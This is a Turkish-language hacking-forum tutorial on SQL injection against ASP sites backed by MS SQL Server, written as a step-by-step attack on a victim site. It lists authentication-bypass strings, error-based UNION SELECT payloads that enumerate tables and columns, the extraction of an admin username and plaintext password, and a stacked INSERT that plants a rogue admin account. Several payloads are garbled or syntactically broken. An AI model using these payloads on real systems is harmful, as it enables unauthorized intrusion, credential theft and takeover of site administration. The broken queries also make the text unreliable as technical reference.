ASP SQL Enjeksiyon

ASP Sql Enjeksiyon a geçmeden önce bir kaç temel kavrama bakalim;

Veritabani Programları:

Günümüzde, birçok firmanın ürettiği db programları mevcuttur... Ama bunların en bilinenleri ORACLE , SQL SERVER, MS ACCESS, FOX PRO'dur.

SQL Nedir :

Sql (Structured Query Language) bir veritabani dilidir.Uygulama geliştiriciler, bir veritabanina yeni tablo veya veri eklerken,
silerken veya bir veriyi ararken bu dili kullanırlar.Bu anlamda geniş kabul görmüş bir standarttır. Örneğin MS ACCESS'te
bunu yapmanın baska yöntemleri de olsa, sonuçta Sql karşılığı her zaman vardır. Örnek bir Sql ifadesi yazalım;
diyelim ki xchatx tablosundan Hack isimli dökümanin fiyatını bize bulsun:) Sql de sorgulamalar SELECT ile yapılır Bu sorgu yazilisi ;

SELECT fiyat FROM xchatx WHERE dokuman ismi="hack"

SELECT deyiminden sonraki gelen ilk ifade, sorgunun sonundaki WHERE kriterine göre tespit edilen kriterlerin hangi alanlarının
görüntüleneceği bilgisidir. FROM deyiminden sonraki ifade,sorgulkamanin hangi tablodan yapılacağını bildirir. WHERE deyimi
ise , sorgulamanın hangi kriter ya da kriterlere göre yapılacağını belirtmemizi saglar.

Iste SQL ENJEKSİYON DA İLK BASTA SITENIN DB sindeki TABLO İsmini bilmemiz gerekmez mi sizce yoksa SELECT WHERE Falan nasi kullanalım
o nedenle SqL a ilk basta hata verdirip Tablo ismini öğrenmeliyiz.SQL Hata verdirtmek için sunlar yapılabilir:

Asp sql enjeksiyondan bahsedeceğim Asp sitemizin tabiki db si ve sql si olan search engine ya da login barina :

'

Bunu yazıyoruz Egeeer :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'xchatx1' to a column of data type
int./index.asp, line 29

Burda illa da line 29 ve index.asp olmak zorunda degil tipa tip
aynisi olmayacak elbette sadece Sytntax error oracle falan çikmasi
lazim...


Başka türlü de Sql hata verdirebilirsiniz

'or 1=1--

" or 1=1--

' or 'a'='a

or 1=1--

') or ('a'='a

" or "a"="a

Bunları da aynen deneyin şimdi o hatayı aldık da ne oldu diyorsanız orda TABLE ismini öğrendik xchatx1 table namemimiz.(yani numaramız :))

Simdi burdan diger tablolarında ismini öğrenmemiz lazim... SELECT* FROM xchatx1 WHERE dokumanID='' or 1=1--'

Burda yaptığımız şey bize xchatx1 table inda dokumanIDsi boş olan şeyi getir ya da 1=1 degerine uyan tabloyu getir dedik burda feyk attik SQL a yani.Burdan diğer table isimlerini de öğreniriz. Sonra istediğimiz şeyi SELECT WHERE deyimlerini kullanarak getiririz. Önümüze...

Şimdi örnek bir saldırı yapalım ve yeni şeyler öğrenelim müritler

ilk önce kurban siteyi seçtik....

Baktık sql açığı da var ' bu işaret ile test ettik açık var yani.

http://http://www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--UNION SQL a birden çok soru sormak için kullandık

INFORMATON_SCHEMA.TABLES-- ise hiç table ismi bilmediğimiz için
yazdık

Top 1 table_name ise en üstteki tablo anlamına geliyor.

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value 'serles' to a column of data type int.
/index.asp, line 23

Hatamızı aldık
Top 1 table_name serles mis!

Şimdi işimize yarayacak tablelari öğrenelim mesela admin tablelarini burda da LIKE deyimini kullanicaz içinde admin geçen
kelimeleri getir bize SQL!

http://www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1
TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25admin%25'--

Hatayı alıyoruz :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC sql Server Driver][sql Server]Syntax error converting the nvarchar value 'admins' to a column of data type int./index.asp, line 3

Burda admin diye başlayan admins diye bir table var. Simdi bu admins table inin column yani sutünlarini öğrenme zamanı!

Kodu yazıyoruz : http://www.siteadi.org/index.asp?catid=3 UNION
SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME LIKE = 'admins'--

Burada da INFORMATION_SCHEMA.TABLES yerine INFORMATION_SCHEMA.COFORMATION_SCHEMA.COLUMNS deyimini yazdik.  Yani yine feyk attik  Yani yine feyk attık sql'e, o da bu feykimizi yedi

Hatayı alalım:

icrosoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value 'logonID' to a column of data type int. /index.asp, line 22

ilk kolum LogonID çıktı

Şimdi 2.sütunu yazıyoruz:

http://www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1 COLUMN_NAME FROM NFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admins' WHERE COLUMN_NAME NOT IN ('logonID')--

Burada en tepede olan ama LogonID olmayanı istedik ve hatayı görelim


Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value 'logs' to a column of data type int.

Öğrendik adı logs artık şifre neredeyse geliyor :) password detaillerine bakıcaz www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admins' WHERE COLUMN_NAME NOT IN ('logonID','logs','password',details')--

Hata :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC sql Server Driver][sql Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index.asp, line 4

İki sütun var şansımıza güvenelim ilk logonu deneyelim :

http://www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1 logon FROM admins--

admins table indeki logon sütunundaki ilk ini seçiyoruz.

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value 'isko' a column of data type int./index.asp, line 7

veee admin nick geldi şimdi tahribat müritleri işin ennn basit noktasına geldik :)

isko isimli kullanicinin şifresini ver bize SQL:

http://www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1 password FROM admins where logon=' isko '--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC sql Server Driver][sql Server]Syntax error converting the nvarchar value 'benlamerim' to a column of data type int. /index.asp, line 4

Şifremizi Aldık:benlamerim

Kendimiz de kullanici yaratabiliriz admins table inda logon columnünde

Kodu : http://www.siteadi.org/index.asp?catid=3; INSERT
INTO 'admins' ('logonID', 'logon', 'password', 'details') VALUES
(223,'tahribat','123456','NA')--

tahribat nickli bir admin oluşturduk şireside 123456 işte bu işte bu kadar

bu döküman rapidhacker550 tarafından Tahribat.Com için yazılmıştır.

Tarih:
Hit: 3750
Yazar: rapidhacker550

Taglar: asp sql enjeksiyon


Yorumlar


Siftahı yapan siz olun
Yorum yapabilmek için üye girişi yapmalısınız.